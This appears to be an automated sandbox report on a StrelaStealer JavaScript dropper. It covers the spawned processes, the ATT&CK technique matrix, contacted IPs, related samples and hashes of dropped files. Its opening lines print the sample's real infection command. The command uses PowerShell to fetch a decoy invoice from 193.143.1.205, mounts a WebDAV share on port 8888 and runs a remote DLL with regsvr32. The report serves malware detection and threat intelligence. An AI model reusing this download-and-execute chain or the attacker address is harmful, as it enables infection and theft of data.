Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18058273772912511871.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/vVNY:	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceJ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ZQ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/vVNY:	net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2779626669.000001C4C9AA0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1543314732.000001C4C9940000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1554903197.0000020CDD388000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1555173206.0000020CDD3E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1543370419.0000020CDD3AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1542370587.0000020CDD3DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/paceJ	net.exe, 00000007.00000002.1554903197.0000020CDD388000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/ZQ	net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588837
Start date and time:	2025-01-11 06:07:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18058273772912511871.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 52.6.155.20, 4.245.163.56, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 18058273772912511871.js

Simulations

Behavior and APIs

Time	Type	Description
00:08:55	API Interceptor	22x Sleep call for process: powershell.exe modified
00:08:59	API Interceptor	1x Sleep call for process: net.exe modified
00:08:59	API Interceptor	2x Sleep call for process: svchost.exe modified
00:09:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021741832803392
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAY:RJE+Lfki1GjHwU/+vVhWqpB
MD5:	513FBD98C430191882828ECC7DBD4BF2
SHA1:	D4DDDCCDD308F3F80A17594074D756187D0BB7DD
SHA-256:	3DB6654FD15B3FAFCD7CE6C358A2A86DFBD67E0913C8B11C26CC66CD8A8E6421
SHA-512:	C7FD74D17361F0786A969B01920AD25C6948C1A24A29E6E8960933DF83845DB4856FCFC9E190E760F3C91513B23D4816E9A5AC2F837325D2E78E90EFAC24A912
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x26ef7347, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432987529086754
Encrypted:	false
SSDEEP:	1536:/LfSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPO9:/LfazaHvxXy2V2UR
MD5:	421B004ADE3957BD10FC9DFEB91E6C74
SHA1:	54ECB716408C438F47041123486C4DF967C1A43F
SHA-256:	A62A12F6207947DFF2724C3B76D458495F8854423F27F4CF976ECA0497EFF205
SHA-512:	3FE75866D49F9F49E24706F40B4C45B159E2394C215431537F7E35A1A4D60049F06D105B1146288FF563270D8A3BDE45ABF7FD68622CA9CFC69649914626C876
Malicious:	false
Preview:	&.sG... ...............X\...;...{......................0.x...... ...{s.;....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................:......}.....................[;....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08018383984951023
Encrypted:	false
SSDEEP:	3:IjtEYepMwdl/nqlFcl1ZUllllpuRkt/allGBnX/l/Tj/k7/t:Ij6zpM6l/qlFclQ/lLztG254
MD5:	506040F0436384DE7BFE75798862375E
SHA1:	BE28513CD4E053F9ED98D6E3BDBE364F27DDC3BF
SHA-256:	9547EB5558F6DB9254B51823DE521F391C7B453C828F86ED91C2532E99DAEB00
SHA-512:	8FECA666C26B1CAA17DC23B1356DC000994EE32CC341E49315403433D76D8AAF640DFC907DF8ABAE452C3A4258F39886AF09CE1B53B9A4B0B17AF327DC6986D1
Malicious:	false
Preview:	..{......................................;...{..;....}... ...{s.......... ...{s.. ...{s.P.... ...{s....................[;....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.218029046031363
Encrypted:	false
SSDEEP:	6:iOGTdC+q2PCHhJ2nKuAl9OmbnIFUtcTdr3JZmwiTdr39VkwOCHhJ2nKuAl9Ombjd:7E5vBHAahFUtitJ/wtD56HAaSJ
MD5:	EF079F365BF0D7835A818186AAFAA09C
SHA1:	FD95CFF938452153E7C3BB5A9539D312389794CD
SHA-256:	0E7B7201325E3405717C55A289A2046C756C88D68B476D8C81E46A15C0C3FD1B
SHA-512:	2966F1E2B856CA5DB00CD365CE99EE769A9C2F67C51E19B184FA3E17CCE73EC0391B9A881470DDE6865E47C180BA52C314A4E2955A85C1EEDF117A85A3A194DE
Malicious:	false
Preview:	2025/01/11-00:08:59.680 278 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:08:59.683 278 Recovering log #3.2025/01/11-00:08:59.683 278 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.218029046031363
Encrypted:	false
SSDEEP:	6:iOGTdC+q2PCHhJ2nKuAl9OmbnIFUtcTdr3JZmwiTdr39VkwOCHhJ2nKuAl9Ombjd:7E5vBHAahFUtitJ/wtD56HAaSJ
MD5:	EF079F365BF0D7835A818186AAFAA09C
SHA1:	FD95CFF938452153E7C3BB5A9539D312389794CD
SHA-256:	0E7B7201325E3405717C55A289A2046C756C88D68B476D8C81E46A15C0C3FD1B
SHA-512:	2966F1E2B856CA5DB00CD365CE99EE769A9C2F67C51E19B184FA3E17CCE73EC0391B9A881470DDE6865E47C180BA52C314A4E2955A85C1EEDF117A85A3A194DE
Malicious:	false
Preview:	2025/01/11-00:08:59.680 278 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:08:59.683 278 Recovering log #3.2025/01/11-00:08:59.683 278 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.162131794738854
Encrypted:	false
SSDEEP:	6:iOG7q2PCHhJ2nKuAl9Ombzo2jMGIFUtcQiZZmwiSKkwOCHhJ2nKuAl9Ombzo2jM4:70vBHAa8uFUto/9K56HAa8RJ
MD5:	07B7B1883DA4A9E8C97F0B5FC594615B
SHA1:	8AF0F74297DDDC2ED7DB449ABA29684B5F85AE98
SHA-256:	94563DD62E82F2CCB5FBB85A477BAE5A4B168E08B354B82E558048EDDAB391D9
SHA-512:	E328B11438EFDCFD0BCDDA5FAED77099BCDB65F6B08016F16AA7910FDE905BE3EFD8EFE4293B09CD9528FA3D1C7EFB69A6F09F2FC6F9F639757CECDC9D0176DA
Malicious:	false
Preview:	2025/01/11-00:08:59.756 a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:08:59.760 a80 Recovering log #3.2025/01/11-00:08:59.762 a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.162131794738854
Encrypted:	false
SSDEEP:	6:iOG7q2PCHhJ2nKuAl9Ombzo2jMGIFUtcQiZZmwiSKkwOCHhJ2nKuAl9Ombzo2jM4:70vBHAa8uFUto/9K56HAa8RJ
MD5:	07B7B1883DA4A9E8C97F0B5FC594615B
SHA1:	8AF0F74297DDDC2ED7DB449ABA29684B5F85AE98
SHA-256:	94563DD62E82F2CCB5FBB85A477BAE5A4B168E08B354B82E558048EDDAB391D9
SHA-512:	E328B11438EFDCFD0BCDDA5FAED77099BCDB65F6B08016F16AA7910FDE905BE3EFD8EFE4293B09CD9528FA3D1C7EFB69A6F09F2FC6F9F639757CECDC9D0176DA
Malicious:	false
Preview:	2025/01/11-00:08:59.756 a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:08:59.760 a80 Recovering log #3.2025/01/11-00:08:59.762 a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65f92f55-b52c-4f61-b4d0-31dc3a8da7da.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	474
Entropy (8bit):	4.948380567490667
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2Hncaq3QYiub6P7E4T3y:Y2sRdsgdMHG3QYhbS7nby
MD5:	FC8F06AA37DD725E485407A64AE2873C
SHA1:	1D505DD8BE9218626D3BF06B78175BA9681E4849
SHA-256:	AD4A82CA3EE5C36621678D2E4C2D2D5B0AEE23FF0CAA40A2BDA61DFA5F144DB9
SHA-512:	975C0E73E25E86FB49D32D7AA85B6124577A0A26AF1EB9A8E9757AEB5859FF86D020A83D4464C5D68CB347A179245C6CB332627027D37C5080A4EFA59A6509FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132151331471","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":96545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	474
Entropy (8bit):	4.948380567490667
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2Hncaq3QYiub6P7E4T3y:Y2sRdsgdMHG3QYhbS7nby
MD5:	FC8F06AA37DD725E485407A64AE2873C
SHA1:	1D505DD8BE9218626D3BF06B78175BA9681E4849
SHA-256:	AD4A82CA3EE5C36621678D2E4C2D2D5B0AEE23FF0CAA40A2BDA61DFA5F144DB9
SHA-512:	975C0E73E25E86FB49D32D7AA85B6124577A0A26AF1EB9A8E9757AEB5859FF86D020A83D4464C5D68CB347A179245C6CB332627027D37C5080A4EFA59A6509FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132151331471","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":96545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237615537808529
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bvQZf:S43C4mS7fFi0KFYDjr3LWO3V3aw+bvQV
MD5:	A2AAD58D5FD83D7C73946E820C4E12F1
SHA1:	3C3161F30B8CD0E08D1C50609802DF521EEB570F
SHA-256:	6B89BDFDB6933C8F88BB0819AB6E22AE65C0D7C821DDE4066457D06513D9CC70
SHA-512:	D10539F99AA4CEB13263972D2853BF60B2C12B7677D8738DB0929AD9FE0579E9F618B54DC3F7E705C6FEEBAFC83D3311ED41261D27656FAAEEE8EB340C337AAE
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.103627613933267
Encrypted:	false
SSDEEP:	6:iOGdVV+eq2PCHhJ2nKuAl9OmbzNMxIFUtcdVXihZmwidVXi7kwOCHhJ2nKuAl9Ob:7OFvBHAa8jFUt0X2/qXK56HAa84J
MD5:	F966745DB6BF590EE1B5CA9801878DED
SHA1:	531255B13B42BAA3BACBDF46FED65702FB285ACF
SHA-256:	27AA8F338F3C67BFED4B22EFB4F54690B5C6BE9B4F069808F2324D5D82C1291D
SHA-512:	7C9057F54E9428F2F89DF3A9F5FE7B501827D331ECC94182431CCAEF198C4DE184242A49145E118E7AEE9667D1A4C2E2F5C96A52D93FDDDBD366702E874376CB
Malicious:	false
Preview:	2025/01/11-00:08:59.800 a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:08:59.802 a80 Recovering log #3.2025/01/11-00:08:59.802 a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.103627613933267
Encrypted:	false
SSDEEP:	6:iOGdVV+eq2PCHhJ2nKuAl9OmbzNMxIFUtcdVXihZmwidVXi7kwOCHhJ2nKuAl9Ob:7OFvBHAa8jFUt0X2/qXK56HAa84J
MD5:	F966745DB6BF590EE1B5CA9801878DED
SHA1:	531255B13B42BAA3BACBDF46FED65702FB285ACF
SHA-256:	27AA8F338F3C67BFED4B22EFB4F54690B5C6BE9B4F069808F2324D5D82C1291D
SHA-512:	7C9057F54E9428F2F89DF3A9F5FE7B501827D331ECC94182431CCAEF198C4DE184242A49145E118E7AEE9667D1A4C2E2F5C96A52D93FDDDBD366702E874376CB
Malicious:	false
Preview:	2025/01/11-00:08:59.800 a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:08:59.802 a80 Recovering log #3.2025/01/11-00:08:59.802 a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
